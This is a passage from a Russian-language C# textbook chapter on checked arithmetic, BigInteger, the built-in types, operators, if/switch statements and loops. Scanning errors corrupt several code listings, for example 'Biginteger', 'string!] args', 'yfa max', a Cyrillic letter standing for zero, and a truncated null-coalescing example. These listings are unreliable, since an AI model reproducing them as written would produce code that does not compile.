Глава 2 стинг 2.37, представляет собой блок, следующий за ключевым словом checked. Проверяемая инструкция всегда содержит блок — вы не можете просто поставить ключевое слово checked перед ключевым словом int в листинге 2.36, чтобы сделать инструкцию проверяемой. Также необхо- димо заключить этот код в фигурные скобки. Листинг 2.37. Проверяемая инструкция checked { int rl = а + b; int r2 = rl - (int) c; } В C# также есть ключевое слово unchecked. Его можно использовать внутри проверяемого блока, чтобы указать, что некоторое конкретное выражение или вложенный блок не нужно выполнять в проверяемом контексте. Это упрощает жизнь в том случае, когда требуется, чтобы проверяемым было все, за исключением одного конкретного выраже- ния — вместо того, чтобы помечать ключевым словом checked все поми- мо избранной части, вы можете поместить весь код в один проверяемый блок, после чего исключить из него тот фрагмент, разрешение перепол- нения в котором не приведет к ошибкам. Компилятор C# можно сконфигурировать таким образом, чтобы он по умолчанию все помещал в проверяемый контекст и чтобы переполне- ние не сопровождалось сообщениями только в выражениях и инструк- циях, явно помеченных словом unchecked. Чтобы выполнить настрой- ку в Visual Studio, необходимо открыть свойства проекта, перейти на вкладку Build (Построение) и щелкнуть по кнопке Advanced (Допол- нительно). В случае работы из командной строки следует использовать параметр компилятора /checked. Помните о том, что эта возможность требует существенных затрат — проверка может в несколько раз замед- лить выполнение отдельных целочисленных операций. Влияние на при- ложение в целом будет не столь значительным, поскольку программа, как правило, не тратит все свое время на выполнение арифметических операций; тем не менее затраты все же окажутся достаточно больши- ми. Конечно, как и в случае любого вопроса, касающегося производи- тельности, это влияние следует оценить с практической точки зрения. Возможно, вы посчитаете снижение производительности приемлемой ценой за гарантированное сообщение обо всех случаях неожиданно воз- никшего переполнения. 98
Основы программирования на C# Тип Biginteger Существует еще один числовой тип, о котором вам стоит знать. Тип Biginteger был введен в .NET 4.0. Он входит в состав библиотеки клас- сов .NET Framework и не распознается компилятором C# каким-либо особым образом. Тем не менее он определяет арифметические операто- ры и преобразования, что позволяет использовать его совершенно так же, как встроенные типы данных. Этот тип компилируется в несколь- ко менее компактный код — формат откомпилированной программы платформы .NET обладает нативной поддержкой представления целых чисел и чисел с плавающей запятой, однако тип Biginteger вынужден полагаться на более универсальные механизмы, которые используются для обычных типов библиотеки классов. Теоретически такой код также должен быть и гораздо медленнее, однако, поскольку в очень большом количестве случаев скорость выполнения базовых арифметических, операций над целыми числами не является ограничивающим факторбм, вполне может оказаться, что вы этого не заметите. В пределах модели программирования данный тип выглядит и ведет себя в коде как обыч- ный числовой тип. В соответствии со своим именем тип Biginteger служит для представ- ления целых чисел. Уникальной особенностью, выгодно отличающей данный тип от других, является то, что он способей увеличивать свой размер настолько, насколько это необходимо для представления значе- ния. Потому, в отличие от встроенных числовых типов, на его диапазон теоретически не накладываются никакие ограничения. Листинг 2.38 де- монстрирует применение этого типа для вычисления значений после- довательности Фибоначчи с выводом каждого 100 000-го. Данный код очень быстро начинает выдавать значения, которые являются слишком большими для представления в любом другом из целочисленных типов. Я привожу здесь весь исходный код, чтобы показать, что данный тип определен в пространстве имен System.Numerics. Тип Biginteger фактически находится в отдельной .^///-библиотеке, ссылку на которую Visual Studio не добавляет по умолчанию, поэтому для использования его вам потребуется самим добавить ссылку на ком- понент System.Numerics. Листинг 2.38. Использование типа Biginteger using System; using System.Numerics; class Program
static void Main(string!] args) { Biginteger il = 1; Biginteger i2 = 1; Console.WriteLine(il); int count = 0; while (true) { if (count++ % 100000 == 0) { Console.WriteLine(i2); } Biginteger next = il + i2; il = i2; i2 = next; } } } Хотя тип Biginteger не накладывает никаких фиксированных огра- ничений, некоторые практические ограничения все же существуют. Например, полученное число может быть слишком большим для раз- мещения в доступной памяти. Или, что более вероятно, числа могут стать достаточно большими для того, чтобы потребовать недопустимых затрат процессорного времени для выполнения даже простейших ариф- метических операций. Однако пока у вас хватает и памяти, и терпения, тип Biginteger будет увеличивать свой размер для представления сколь угодно больших чисел. Булев тип C# определяет тип с именем bool, или, как его называет среда выпол- нения, System.Boolean. Он предлагает только два Значения: true и false. Хотя некоторые языки семейства С позволяют использовать вместо бу- левых значения числовых типов, придерживаясь соглашения о том, что О соответствует false, а любое другое число — true, C# не примет чис- ловое значение. Здесь требуется, чтобы значения, указывающие истин- ность или ложность, были представлены типом bool, и ни один из чис- ловых типов при этом не может быть преобразован в него. Например, в инструкции if нельзя написать if (someNumber), для того чтобы неко- Тоо
Основы программирования на C# торый код выполнялся только в том случае, если переменная someNumber не равна нулю. Чтобы добиться такого поведения, потребуется сказать обэтомявно, записав if (someNumber != 0). Строки и символы Тип string (синонимичный с типом среды CLR System.String) слу- жит для представления последовательности текстовых символов. Каж- дый символ в такой последовательности относится к типу char (или, как его называет среда CLR, System. Char). Это 16-разрядное значение, пред- ставляющее одну кодовую единицу в формате UTF-16. Строки в .NET являются неизменяемыми. Существует много опера- ций, которые, казалось бы, должны модифицировать строку, такие как конкатенация или методы ToUpper и ToLower, предлагаемые экземпляра- ми типа string, но все эти операции генерируют новую строку, оставляя исходную без изменений. Другими словами, передавая строку в каче- стве аргумента коду, который был написан кем-то другим, вы можете быть уверены в том, что этот код не внесет в нее ника^йх изменений. Отрицательной стороной такой неизменяемости является то, что об- работка строк может быть неэффективной. Если бы вам нужно было вы- полнить работу, которая подразумевала бы последовательное внесение ряда модификаций в строку, такую, например, как составление строки по одному символу, в конечном итоге вам пришлось бы выделить большой объем памяти, по той причине, что для каждого изменения создавалась бы отдельная строка. В подобных ситуациях можно использовать тип с именем StringBuilder (в отличие от типа string, он не распознается компилятором C# каким-либо особым образом). Данный тип концеп- туально аналогичен типу string — он представляет последовательность символов и предлагает различные полезные методы для выполнения манипуляций над строками, — но является изменяемым. Тип object Наконец, последним встроенным типом данных, распознаваемым компилятором С#, является тип object (или, как его называет среда CLR, System.Object). Это базовый класс почти всех* типов С#. Пере- * Существует несколько специализированных исключений, таких как типы указа- телей. 101
Глава 2 менная типа object может ссылаться на значение любого типа, произ- водного от object, включая все числовые, bool и string, а кроме того, различные пользовательские типы, которые вы можете определить, ис- пользуя такие ключевые слова, как class и struct — мы рассмотрим их в следующей главе. Сюда также входят все типы, определенные в би- блиотеке классов .NET Framework. Таким образом, тип ob j ect представляет собой базовый универсаль- ный контейнер. С помощью переменной типа object можно ссылаться почти на все, что угодно. Мы вернемся к этому типу в главе 6, при об- суждении наследования. Операторы Ранее вы видели, что выражения представляют собой последова- тельности операторов и операндов. Вы уже ознакомились с некоторыми типами данных, использующихся в качестве операндов, поэтому при- шло время посмотреть, какие операторы предлагает С#. Операторы, предоставляющие поддержку основных арифметических операций, приведены в табл. 2.3. Таблица 2.3. Базовые арифметические операторы Название Пример Тождество (унарный плюс) +х Отрицание (унарный минус) -х Постинкремент х++ Постдекремент X— Преинкремент ++Х Предекремент —X Умножение X * у Деление X / у Остаток X % у Сложение X + у Вычитание х - у Если вы знакомы с любым другим языком семейства С, то вам долж- ны быть знакомы и все эти операторы. Если же нет, то, возможно, наи- более необычными вам покажутся операторы инкремента и декремента. 102
Основы программирования на C# Все они производят добавление единицы к той переменной, к которой применяются (а применяются они только к переменным), или вычита- ние из нее. В случае постинкремента и постдекремента, хотя переменная и модифицируется, включающееее выражение в конечном итоге полу- чает исходное значение. Так, если переменная х содержит значение 5, то значение выражения х++ также окажется равно 5, даже несмотря на то что после вычисления переменная х будет содержать значение 6. Пре- фиксные формы дают в результате модифицированное значение, поэто- му если переменная х изначально равна 5, то вычисление выражения ++х даст в результате 6, что также будет равно значению переменной х после вычисления этого выражения. Хотя приведенные в табл. 2.3 операторы используются для выполне- ния арифметических операций, некоторые из них доступны и для ряда нечисловых типов. Как вы видели ранее, при работе со строками сим- вол + представляет операцию конкатенации. И, как вы узнаете в главе 9/ операторы сложения и вычитания, кроме того, используются для добав- ления и удаления делегатов. C# также предлагает ряд операторов для выполнения двоичных операций над составляющими значение битами; эти операторы представлены в табл. 2.4. C# не поддерживает выполне- ние таких операций над типами чисел с плавающей запятой. Таблица 2.4. Целочисленные двоичные операторы Название Пример Побитовое отрицание Побитовое И X & у Побитовое ИЛИ X 1 у Побитовое исключающее ИЛИ х А у Сдвиг влево X « у Сдвиг вправо X » у Оператор побитового отрицания инвертирует все биты целого чис- ла — каждый двоичный разряд со значением 1 становится равным О и наоборот. Операторы сдвига перемещают все двоичные разряды на одну позицию влево или вправо. Оператор сдвига влево устанавливает младший разряд в 0. Сдвиг вправо беззнакового целого числа устанав- ливает старший разряд в 0, а сдвиг вправо знакового целого числа остав- ляет старший разряд как есть (то есть отрицательные числа остаются отрицательными, а положительные числа — положительными, посколь- 103
Глава 2 ку в первом случае старший разряд остается равным 1, а во втором — равным 0). Операторы побитового И, ИЛИ и исключающего ИЛИ при их при- менении к целым числам выполняют операции булевой логики над каж- дым битом двух операндов. Эти три оператора также доступны, когда операнды относятся к типу bool (можно считать, что эти три операто- ра обращаются со значением типа bool как с одноразрядным двоичным числом). Для значений типа bool также доступны несколько дополни- тельных операторов, которые приведены в табл. 2.5. Оператор ! дела- ет со значением типа bool то же самое, что оператор ~ с каждым битом целого числа. Таблица 2.5. Булевы операторы Название Пример Логическое отрицание (логическое НЕ) !х Логическое И х && у Логическое ИЛИ X 11 у Если йам не приходилось иметь дело с другими языками семейства С, то вам, возможнб; будут незнакомы операторы логического И и ИЛИ. Данные операторы вычисляют второй операнд только в том случае, если это необходимо. Например, если при вычислении выражения (а && Ь) а будет равно false, то сгенерированный компилятором код даже не попы- тается вычислить значение выражения Ь, поскольку результат окажется false вне зависимости от того, чему будет равно выражение Ь. Оператор логического ИЛИ, напротив, не будет вычислять значение второго опе- ранда в том случае, если первый операнд равен true, поскольку результат окажется true вне зависимости от значения второго операнда. Это быва- ет важно в том случае, если выражение второго операнда обладает побоч- ным эффектом (например, включает вызов метода) или его вычисление может привести к ошибке. Например, вы часто можете увидеть код, по форме сходный с тем, что представлен в листинге 2.39. Листинг 2.39. Оператор логического И if (s != null && s.Length > 10) Данный код проверяет, не содержит ли переменная s специальное значение null, что означало бы, что в данный момент она не ссылается 104
Основы программирования на C# ни на одно значение. Здесь важное значение имеет использование опе- ратора &&, поскольку если s будет равно null, то вычисление выражения s.Length вызовет ошибку времени-выполнения. Если бы мы использо- вали оператор &, то компилятор сгенерировал бы код, который всегда вычислял бы оба операнда, что, в свою очередь, означало бы, что при переменной s, равной null, на этапе выполнения мы бы видели исклю- чение NullReferenceException. Однако, воспользовавшись оператором логического И, нам удалось этого избежать, поскольку второй операнд, s.Length > 10, вычисляется только в том случае, когда s не равна null. Код в листинге 2.39 проверяет, является ли значение свойства боль- шим, чем 10, используя оператор >. Это один из нескольких операто- ров сравнения, позволяющих выполнять сравнение значений. Все они принимают два операнда и выдают результат типа bool. Эти операторы представлены в табл. 2.6; они поддерживаются для всех числовых ти<' пов. Некоторые операторы также доступны для других типов. Напри- мер, вы можете сравнивать строковые значения с помощью операторов == и ! =. (Другие операторы сравнения не обладают никаким встроенным смыслом в отношении типа string, поскольку в разных странах суще- ствуют разные представления о том, в каком порядке следует сортиро- вать строки. Если необходимо сравнить строки, .NET предлагает класс Stringcomparer, для использования которого вы должны выбрать прави- ла, согласно чему должно выполняться упорядочивание.) Таблица 2.6. Операторы сравнения Название Пример Меньше X < у Больше X > у Меньше или равно X <= у Больше или равно X >= у Равно X == у Не равно х != у Как и в большинстве языков семейства С, оператор равенства обо- значается двумя знаками «равно». Причиной является то, что один такой знак также образует допустимое выражение, означающее нечто другое — а именно присваивание, которое тоже является выражением. К сожалению, это ведет к известной проблеме языков семейства С: очень легко по ошибке написать if (х = у), когда имеется в виду if (х == у). 105
Глава 2 К счастью, в C# это обычно вызывает ошибку компилятора, поскольку для представления булевых значений в C# используется специальный тип. В языках, разрешающих использовать числа вместо булевых зна- чений, оба фрагмента кода будут допустимыми даже в том случае, если переменные х и у окажутся числами. (В первом фрагменте осуществля- ется присваивание переменной х значения у, после чего выполняется тело инструкции if, если получившееся значение является ненулевым. Это разительно отличается от второго фрагмента, который не изменя- ет значение ни одной из переменных и выполняет тело инструкции if только в том случае, если переменные х и у равны.) Однако в C# пер- вый фрагмент имеет смысл только в том случае, если х и у относятся к типу bool*. Еще одну общую для семейства С возможность представляет услов- ный оператор (его также иногда называют тернарным оператором, по- скольку это единственный оператор в языке, который принимает три операнда). Он осуществляет выбор между двумя выражениями, а если говорить точнее, вычисляет первый операнд — обязательно булево вы- ражение, — после чего возвращает значение либо второго, либо третьего операнда в зависимости от того, равняется ли значение первого операн- да, соответственно, true или false. Листинг 2.40 показывает примене- ние этого оператора для выбора большего из двух значений. (Данный пример приводится лишь с целью демонстрации. На практике обычно используется метод платформы .NET Math.Мах, который, производя тот же эффект, является гораздо более читаемым.) Листинг 2.40. Условный оператор yfa max = (х > у) ? х : у; Данный пример иллюстрирует, почему язык С и его преемники славятся краткостью синтаксиса. Если вы знакомы с любым из язы- ков этого семейства, вы с легкостью прочитаете листинг 2.40; если же нет, то, вероятно, не сразу поймете его смысл. Данный код вычисляет выражение перед символом ?, в этом случае (х > у), результатом ко- торого должно быть значение типа bool. Если результат равен true, то используется выражение между символами ? и : (в данном случае х); в противном случае используется выражение после символа : (в этом случае у). * Педанты могут заметить, что это не совсем так. Данный фрагмент также имеет смысл в определенных ситуациях, когда доступны неявные пользовательские преобразо- вания в тип bool. К пользовательским преобразованиям мы перейдем в главе 3. 106
Основы программирования на C# Скобки в листинге 2.40 необязательны. Я использую их здесь « лишь Аля улучшения читаемости кода. ___ Условный оператор сходен с операторами логического И и ИЛИ в том, что он вычисляет операнды, только когда необходимо. Он всегда вычисляет первый операнд, но никогда не вычисляет второй и третий. Это означает возможность обращаться со значениями null так, как по- казано в листинге 2.41. Используя подобный код, вы не рискуете по- лучить исключение NullReferenceException, поскольку третий операнд вычисляется только в том случае, если переменная s не равна null. z /• Листинг 2.41. Использование условного вычисления int charactercount = s == null ? О : s.Length; Однако в некоторых случаях можно использовать более простой спо- соб обращения со значением null. Допустим, у вас есть переменная типа string и, если она равна null, вы хотите использовать вместо нее пустую строку. Вы могли бы записать (s == null ? "" : s).< Однако вместо этого можно просто использовать оператор объединения с нулем, предназна- ченный для выполнения как раз такой работы. Данный оператор, при- мер использования которого приведен в листинге 2.42 (это символы ??), вычисляет свой первый операнд, и если результат не является значением null, он возвращается как результат выражения. Если первый операнд равен null, то вычисляется и используется второй операнд. Листинг 2.42. Оператор объединения с нулем string neverNull = s ?? Одно из главных преимуществ использования условного оператора и оператора объединения с нулем состоит в том, что они позволяют за- писать одно выражение в ситуации, когда в противном случае вам при- шлось бы записать гораздо больше кода. Это может быть особенно по- лезно в том случае, когда выражение используется в качестве аргумента метода, как показано в листинге 2.43. Листинг 2.43. Использование условного выражения в качестве аргумента метода FadeVolume(gateOpen ? MaxVolume : 0.0, FadeDuration, FadeCurve.Linear); Сравните этот код с тем, что вам пришлось бы написать в том слу- чае, если б условного оператора не существовало. Вам потребовалось 107
Глава 2 бы использовать инструкцию if (к рассмотрению которой я перейду в следующем разделе, но, поскольку эта книга рассчитана не на но- вичков, я предполагаю, что общее представление у вас уже есть). Вам также потребовалось бы либо ввести локальную переменную, как дела- ется в листинге 2.44, либо продублировать вызов метода в двух ветвях инструкции if/else, изменяя только первый аргумент. Таким образом, несмотря, на возможно, излишнюю немногословность условного опера- тора и оператора объединения с нулем, после того как вы к ним привы- кнете, они позволят вам делать код гораздо менее громоздким. Листинг 2.44. Жизнь без условного оператора double targetvolume; if (gateOpen) { targetvolume = Maxvolume; } else { targetvolume = 0.0; } FadeVolume(targetVolume^FadeDuration, FadeCurve.Linear) ; Нам осталось рассмотреть лишь составные операторы присваива- ния. Они объединяют операцию присваивания с некоторой другой и до- ступны для операторов +, -, *, /, %, «, », &, л и |. Таким образом, вам не обязательно писать код наподобие того, что показан в листинге 2.45. г Z Листинг 2.45. Присваивание и сложение х = х + 1; Такую инструкцию присваивания можно записать в более компакт- ном виде, как показано в листинге 2.46. Подобная форма характерна для всех составных операторов присваивания — следует лишь поставить символ = после исходного оператора. Листинг 2.46. Составное присваивание (со сложением) х += 1; Помимо большей лаконичности, такая запись может вызывать мень- ше претензий со стороны тех, кто ратует за корректное использование математических выражений. Код листинга 2.45 выглядит как матема- 108
Основы программирования на C# тическое уравнение, которое при этом не имеет никакого смысла. (Что, конечно, не мешает ему быть совершенно допустимым в C# — мы пред- писываем выполнение операции с побочным эффектом, а не утвержда- ем истинность. Данный код выглядит странно лишь потому, что в язы- ках семейства С символ = используется для обозначения присваивания, а не равенства.) У кода, приведенного в листинге 2.46, напротив, нет даже сходства ни с одной из общепринятых базовых математических нотаций. Что еще более полезно, такой отличительный синтаксис очень ясно дает понять, что мы некоторым особым образом модифицируем значение переменной. Следовательно, хотя эти два фрагмента выполня- ют одну и ту же работу, многие программисты считают второй вариант идиоматически более предпочтительным. Приведенный здесь перечень операторов является не совсем пол- ным. Существует еще несколько специализированных операторов — на них я остановлюсь после рассмотрения областей языка, для которых они предназначены. (Часть из них имеет отношение к классам и другим типам, другие — к наследованию, к коллекциям или к делегатам. Все эти операторы будут рассмотрены в последующих главах.) Кстати, име- ет смысл упомянуть, что хотя я указывал, какие операторы для каких типов доступны (например, для числовых или булева типа), существу- ет возможность написать пользовательский тип, определяющий соб- ственный смысл для большинства операторов. Именно таким образом тип Biginteger платформы .NET поддерживает те же арифметические операции, что и встроенные числовые типы. Как это сделать, я покажу в главе 3. Управление потоком выполнения В большинстве рассмотренных до сих пор примеров инструкции ра- ботают в том порядке, в каком они записаны, и выполнение кода завер- шается по достижении его конца. Если бы такой способ являлся един- ственно возможным, от C# было бы мало пользы. Поэтому C# обладает множеством конструкций для написания циклов и принятия решения о выполнении того или иного кода на основе входного условия. Булевы решения с использованием инструкций if Инструкция if принимает решение о том, выполнять или нет неко- торую конкретную инструкцию в зависимости от значения выражения 109
Глава 2 типа bool. Например, в листинге 2.47 она выполняет выводящую сооб- щение блочную инструкцию только в том случае, если значение пере- менной аде меньше 18. Листинг 2.47. Простая инструкция if if (age < 18) { Console.WriteLine("Ваш возраст не позволяет покупать спиртное в барах на территории Великобритании.’’); } В качестве тела инструкции if не обязательно использовать блок; вы можете использовать инструкцию любого типа. Фигурные скобки необходимы только в том случае, если if управляет выполнением не- скольких инструкций. Тем не менее многие рекомендации по стилю программирования предписывают использование блока в любом слу- чае. Отчасти это предлагается делать для единообразия, но также и для того, чтобы исключить возможность ошибки при модификации кода в дальнейшем: если в качестве тела инструкции if будет использоваться неблочная инструкция и впоследствии вы добавите после нее еще одну инструкцию, намереваясь сделать ее частью того же тела, вы легко мо- жете забыть заключить их в блок, результатом чего станет код, анало- гичный показанному в листинге 2.48. Отступ указывает на то, что разработчик хотел сделать последнюю инструкцию частью тела if, однако C# игнорирует отступы, поэтому данная инструкция будет выполняться безусловно. Если вы вырабо- таете привычку всегда использовать блок, вы никогда не сделаете такой ошибки. Листинг 2.48. Вероятно, не то, что предполагалось if (launchCodesCorrect) TurnOnMissileLaunchedlndicator(); LaunchMissiles(); Инструкция if может включать необязательную часть else, за кото- рой должна следовать еще одна инструкция, выполняемая только в том случае, если вычисление выражения инструкции if дает в результате значение false. Таким образом, код листинга 2.49 выведет либо первое, либо второе сообщение, в зависимости от того, чему будет равно значе- ние переменной optimistic: true или false. 110
Основы программирования на C# Листинг 2.49. If и else * ' if (optimistic) ( Console.WriteLine("Стакан наполовину полон"); 1 else ( Console.WriteLine("Стакан наполовину пуст"); 1 За ключевым словом else может следовать любая инструкция и, опять же, как правило, это блок. Тем не менее существует один сце- нарий, в котором большинство разработчиков все же не применяет блок в качестве тела части else, и этим сценарием является использование еще одной инструкции if. Пример такой ситуации демонстрирует ли- стинг 2.50 — первая инструкция if здесь обладает частью else, в каче- стве тела которой применяется еще одна инструкция if. Листинг 2.50. Выбор одной из нескольких возможностей if (temperaturelnCelsius < 52) ( Console.WriteLine("Слишком холодно”); I else if (temperaturelnCelsius > 58) I Console.WriteLine("Слишком жарко"); I else ( Console.WriteLine("В самый раз"); I Данный код по-прежнему выглядит так, как если бы он использовал блок в качестве тела первой части else, однако в действительности этот блок образует тело второй инструкции if. А уже вторая инструкция if является телом первой части else. Если бы мы решили строго придержи- ваться правила предоставлять блок каждому телу if и else, мы бы пере- ткали код листинга 2.50 так, как показано в листинге 2.51. Как можно убедиться, такая запись будет проявлением излишнего беспокойства, по- скольку та угроза ошибки, на устранение которой направлено использо- вание блоков, в действительности уже исключена в коде листинга 2.50. 111
Глава 2 Листинг 2.51. Чрезмерное использование блоков if (temperaturelnCelsius < 52) { • Console.WriteLine("Слишком холодно"); I else { if (temperaturelnCelsius > 58) { Console.WriteLine("Слишком жарко"); } else { Console.WriteLine("В самый раз"); } } Хотя мы можем составлять цепочки инструкций i f, как показано в ли- стинге 2.50, для таких случаев в C# есть более специализированная ин- струкция, которая иногда может обеспечить большую легкость чтения. Множественный выбор с использованием инструкций switch Инструкция switch определяет несколько групп инструкций и либо выполняет одну группу, либо не делает ничего в зависимости от значе- ния выражения. Выражение может относиться к любому целочислен- ному типу, к string, char или любому перечислимому типу (которые мы рассмотрим в главе 3), Как показывает листинг 2.52, выражение заклю- чается в круглые скобки после ключевого слова switch, а далее следует ограниченная фигурными скобками область кода, которая содержит на- бор разделов case, определяющих поведение для каждого ожидаемого значения выражения. Листинг 2.52. Инструкция switch со строками switch (workstatus) { case "ManagerlnRoom": WorkDiligently(); * break; 112
Основы программирования на C# case "HaveNonUrgentDeadline": case "HavelmminentDeadline": CheckTwitter(); CheckEmail (); CheckTwitter (); ContemplateGettingOnWithSomeWork (); CheckTwitter(); CheckTwitter(); break; case "DeadlineOvershot": WorkFuriously(); break; default: CheckTwitter(); CheckEmail(); break; Как вы видите, один раздел может обслуживать несколько вари- антов — в начале раздела можно разместить несколько разных ме- ток case, и инструкции этого раздела будут выполняться при выборе любой из этих меток. Вы также можете добавить раздел default, вы- полняемый в том случае, если не выбрана ни одна из меток case. Он не является необходимым. Инструкция switch также не обязательно должна охватывать все возможные варианты; таким образом, если со значением выражения не совпадает ни одно из значений меток case, и отсутствует раздел default, то инструкция switch просто ничего не делает. В отличие от if, всегда принимающего в качестве тела одну инструк- цию, после метки case может следовать несколько инструкций без не- обходимости заключать их в блок. Разделы в листинге 2.52 ограничены инструкциями break, которые заставляют выполнение перейти в конец инструкции switch. Строго говоря, этот способ завершения раздела не является единственным — накладываемое компилятором C# правило гласит, что выполнение не должно доходить до конца списка инструк- ций каждого раздела case, поэтому приемлемым будет любой способ, который перенаправит выполнение за пределы инструкции switch. Можно использовать инструкцию return, выбросить исключение, или даже применять инструкцию goto. 113
Глава 2 В некоторых С-подобных языках (например, в том же С) допуска- ется неявное «проваливание», под чем подразумевается, что если разре- шить выполнению доходить до конца списка инструкций в разделе case, оно будет переходить к следующему разделу case. Этот стиль демон- стрирует листинг 2.53; он является недопустимым в С#, поскольку в C# действует правило, требующее, чтобы выполнение не доходило до конца списка инструкций раздела case. Листинг 2.53. Неявное «проваливание» в стиле языка С, недопустимое в C# switch (х) { case "Один": Console.WriteLine("Один"); case "Два": // Эта строка не откомпилируетея Console.WriteLine("Один или два"); break; I C# не допускает использование такого кода, поскольку «провалива- ние» не применяется в подавляющем большинстве разделов case, а если используется, то зачастую ошибочно, по той причине, что разработчик забыл записать инструкцию break (и какую-либо другую, позволяющую выйти из switch). Ошибочное «проваливание», как правило, приво- дит к нежелательному поведению, поэтому в C# недостаточно просто опустить инструкцию break: если вам требуется «проваливание», вы должны сообщить об этом явно. Как показывает листинг 2.54, в данном случае для сообщения, что мы действительно хотим, чтобы один раздел .г dse «проваливался» к следующему разделу, мы используем всеми не- любимое ключевое слово goto. Листинг 2.54. «Проваливание» в C# switch (х) { case "Один": Console.WriteLine("Один"); goto case "Два"; case "Два": Console.WriteLine("Один или два"); break; 114
Основы программирования на C# С формальной точки зрения, это не инструкция goto. Это ин- струкция goto case, которую можно использовать только для перехо- дов внутри блока инструкции switch. C# также поддерживает и более универсальные инструкции goto — вы можете добавлять метки в коде и осуществлять переходы внутри методов. Однако использование этих инструкций крайне не рекомендуется; таким образом, предлагаемое ин- струкциями goto case «проваливание» считается на сегодняшний день единственным приемлемым применением ключевого слова goto. Циклы while и do C# поддерживает обычные механизмы создания циклов, свойствен- ные языкам семейства С. Листинг 2.55 демонстрирует цикл while. Ин- струкция while принимает выражение типа bool, вычисляет его, и если -*•' результат оказывается равен true, выполняет следующую далее ин* струкцию. До этого момента инструкция while ведет себя совсем как инструкция if, но отличие заключается в том, что после выполнения встроенной инструкции она опять вычисляет выражение, и если резуль- тат снова равняется true, то выполняет встроенную инструкцию еще раз. Она продолжает это делать до тех пор, пока выражение не станет равным false. Как и в случае if, тело цикла не обязательйо должно быть блоком, но обычно является таковым. Листинг 2.55. Цикл while while (!reader.EndOfStream) ( Console.WriteLine(reader.ReadLine ()); I В теле цикла может быть принято решение о раннем завершении; прервать выполнение цикла позволяет инструкция break. При этом не имеет значения, чему равно выражение инструкции while: true или false — break прекращает выполнение цикла в любом случае. C# также предлагает инструкцию continue. Как и break, она прекра- щает выполнение текущей итерации цикла, отличие ее состоит в том, что после она снова переходит к вычислению выражения инструкции while, таким образом продолжая выполнение цикла. И continue, и break осуществляют переход в конец цикла, но в случае первой можно счи- тать, что переход осуществляется в точку непосредственно перед за- крывающей фигурной скобкой цикла, а в случае второй — в точку непо- 115
Глава 2 средственно за этой скобкой. Кстати, следует отметить, что инструкции continue и break также доступны для всех других видов цикла, которые мы сейчас рассмотрим. Поскольку инструкция while вычисляет свое выражение перед вы- полнением итерации, цикл while может так и не перейти к своему телу. Однако в ряде случаев вам может потребоваться цикл, который будет выполняться хотя бы один раз, вычисляя булево выражение только по- сле первой итерации. В таких случаях используется цикл do, как пока- зано в листинге 2.56. Листинг 2.56. Цикл do char k; do { Console.WriteLine("Для выхода нажмите x"); k = Console.ReadKey().KeyChar; I while (k != ’x’); ’Обратите внимание, что код в листинге 2.56 заканчивается символом точки с запятой, обозначающим конец инструкции. Сравните эту строку со строкой, содержащей ключевое слово while в листинге 2.55, которая, несмотря на полное сходство в остальном, не заканчивается точкой с за- пятой. Это может показаться нарушением единообразия, однако перед вами отнюдь не опечатка. Хотя в конце строки с ключевым словом while в листинге 2.55 вполне допустим символ точки с запятой, это приве- ло бы к изменению смысла — и означало бы, что в качестве тела цикла while мы хотим использовать пустую инструкцию. Следующий далее блок стал бы рассматриваться как новая инструкция, которую следует выполнить по завершении цикла. Тогда бы код застопорится на беско- нечном цикле, за исключением того случая, если переменная reader уже достигла конца потока. (Кстати, в подобной ситуации компилятор вы- даст следующее предупреждение: «Possible mistaken empty statements («Возможно, ошибочный пустой оператор»).) Циклы for в стиле языка С Еще одним видом циклов, который C# унаследовал от языка С, яв- ляются циклы for. Этот вид цикла сходен с while, однако добавляет два дополнительных элемента в булево выражение цикла: он предоставляет 116
Основы программирования на C# место для объявления и/или инициализации одной или более перемен- ных, которые остаются в области видимости во время выполнения цик- ла, а также место для выполнения операции при каждом обходе цикла (помимо встроенной инструкции, формирующей его тело). Таким обра- зом, структура цикла for выглядит следующим образом: for (инициализатор; условие; итератор) тело Очень распространено использование цикла for для выполнения не- которых действий над всеми элементами массива. Листинг 2.57 демон- стрирует цикл for, производящий умножение каждого элемента масси- ва на 2. Часть цикла, содержащая условие, действует совершенно так же, как и в цикле while — она определяет, должна ли выполняться встроен* ная инструкция, которая образует тело цикла; при этом вычисление вы- ражения производится перед каждой итерацией. Опять же, тело цикла не обязательно должно быть блоком, но обычно является таковым. Листинг 2.57. Модификация элементов массива с использованием цикла for for (int i = 0; i < myArray.Length; i++) 4 myArray[i] *= 2; Инициализатор в этом примере объявляет переменную с именем i и инициализирует ее значением 0. Конечно, такая инициализация вы- полняется только один раз — если бы она сбрасывала значение пере- менной в 0 при каждом обходе цикла, то он выполнялся бы бесконечно. Время жизни этой переменной фактически начинается непосредственно перед выполнением цикла и оканчивается с его завершением. Инициа- лизатор не обязательно должен представлять собой объявление пере- менной — вы можете использовать любую инструкцию выражения. Итератор в листинге 2.57 просто добавляет 1 к счетчику цикла. Это де- лается в конце каждой итерации цикла после выполнения тела и перед по- вторным вычислением условия (таким образом, если условие изначально равно false, то ни разу не будет выполнено не только тело цикла, но и ите- ратор). C# ничего не делает с результатом выражения итератора — оно полезно лишь своими побочными эффектами. Поэтому не будет никакой разницы, если вы запишете его как i++,++i,i += 1, или даже! = i + 1. Итератор является избыточной конструкцией, поскольку он не по- зволяет ничего такого, чего нельзя было бы сделать, просто поместив 117
Глава 2 аналогичный код в виде инструкции в конце тела цикла*. Тем не менее его использование повышает читаемость. Инструкция for помещает код, определяющий то, как осуществляется обход цикла, в одном месте, от- дельно от кода, соответствующего выполняющимся при каждом обходе действиям, что поможет тем, кто будет читать код, понять, что он делает. Если тело цикла длинное, его не придется просматривать до конца, чтобы найти инструкцию итератора (хотя следует отметить, что длин- ное тело цикла, которое растягивается на несколько страниц кода, обыч- но считается плохой практикой, так что это несколько сомнительное преимущество). И инициализатор, и итератор могут содержать списки, что демон- стрирует листинг 2.58, однако в этом нет большой пользы — каждый раз выполняются все итераторы, поэтому в примере переменные i и j будут все время содержать одинаковые значения. Листинг 2.58. Использование нескольких инициализаторов и итераторов for (int i - О, j = 0; i < myArray.Length; i++, j++) Вы не можете написать один цикл for, который бы выполнял много- мерную итерацию. Для этого нужно просто вложить один цикл в дру- гой, как показано в листинге 2.59. Листинг 2.59. Вложенные циклы for for (int j = 0; j < height; ++j) { for (int i = 0; i < width; ++i) { I I Хотя листинг 2.57 демонстрирует достаточно распространенную идиому для обхода массивов, вы будете часто использовать другую, бо- лее специализированную конструкцию. * Немного усложняет ситуацию инструкция continue, поскольку она предоставляет возможность перейти к следующей итерации, не выполняя тело цикла до самого конца. Тем не менее при желании можно воспроизвести выполняемые итератором действия и 